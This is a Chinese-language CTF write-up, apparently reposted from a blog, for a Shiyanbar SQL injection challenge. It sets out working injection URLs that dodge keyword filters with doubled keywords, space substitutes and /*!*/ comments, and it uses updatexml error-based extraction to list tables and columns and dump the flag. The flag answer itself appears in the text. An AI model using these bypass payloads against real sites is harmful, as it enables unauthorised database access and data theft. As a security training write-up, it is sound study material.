实验吧-简单的sql注入

实验吧-简单的sql注入

原题链接

http://ctf5.shiyanbar.com/423/web/

分析

1   正常
1'  无回显
1' or '1'='1    全部数据
测试过滤:
union select 
information_schema 
information_schema.tables
information_schema.columns
table_schema
column_name

发现很多都被过滤了,用不了

这里主要利用两种绕过方法:

  1. 双写绕过
http://ctf5.shiyanbar.com/423/web/?id=1' unionunion selectselect schema_name from information+schema.schemata wherewhere '1'='1

《实验吧-简单的sql注入》 2018-08-06_00004.png

发现空格也被过滤了。。。
schema_
采用+,/**/绕过

http://ctf5.shiyanbar.com/423/web/?id=1'++unionunion++selectselect++table_name++fromfrom++information_schema.tables++wherewhere++'1'='1

《实验吧-简单的sql注入》 表名报错

但是同样的方法查column_name却出现了问题

《实验吧-简单的sql注入》 2018-08-06_00006.png

明明已经注意闭合了,还是报错。

猜测列名为flag
查数据:

http://ctf5.shiyanbar.com/423/web/?id=1'++unionunion++selectselect++flag++fromfrom++flag++wherewhere++'1'='1

《实验吧-简单的sql注入》 flag

2./*!*/绕过,注意/*!*/过滤的是sql关键字,其他变量名不用加。
这里用的是updatexml来报错。然后有一些关键字依然被过滤,采用双写绕过
查数据库

http://ctf5.shiyanbar.com/423/web/?id=-1' or updatexml(1,concat('~',(/*!select*/ /*!database()*/  LIMIT 0,1),'~'),3) or '1'='1

XPATH syntax error: '~web1~'

查表

http://ctf5.shiyanbar.com/423/web/?id=-1' or updatexml(1,concat('~',(/*!select*/ table_name/*!from*/information_schema.tables/*!where*//*!tabltable_schemae_schema*/='web1'  LIMIT 0,1),'~'),3) or '1'='1

XPATH syntax error: '~flag~'

查列名

http://ctf5.shiyanbar.com/423/web/?id=11'or updatexml(1,concat('~',(/*!select*/  ccolumn_nameolumn_name  /*!from*/ infoinformation_schema.columnsrmation_schema.columns /*!where*/ /*!tatable_schemable_schema*/ = 'web1' /*!and*/ table_name='flag' LIMIT 0,1),'~'),3) or '1'='1

XPATH syntax error: '~flag~'

dump

http://ctf5.shiyanbar.com/423/web/?id=11'or updatexml(1,concat('~',(/*!select*/ flag /*!from*/ flag  LIMIT 0,1),'~'),3) or '1'='1

XPATH syntax error: '~flag{Y0u_@r3_5O_dAmn_90Od}~'

flag

flag{Y0u_@r3_5O_dAmn_90Od}

知识点

报错注入,过滤的绕过策略,updatexml

    原文作者:V0W
    原文地址: https://www.jianshu.com/p/0089b2503655
    本文转自网络文章,转载此文章仅为分享知识,如有侵权,请联系博主进行删除。
点赞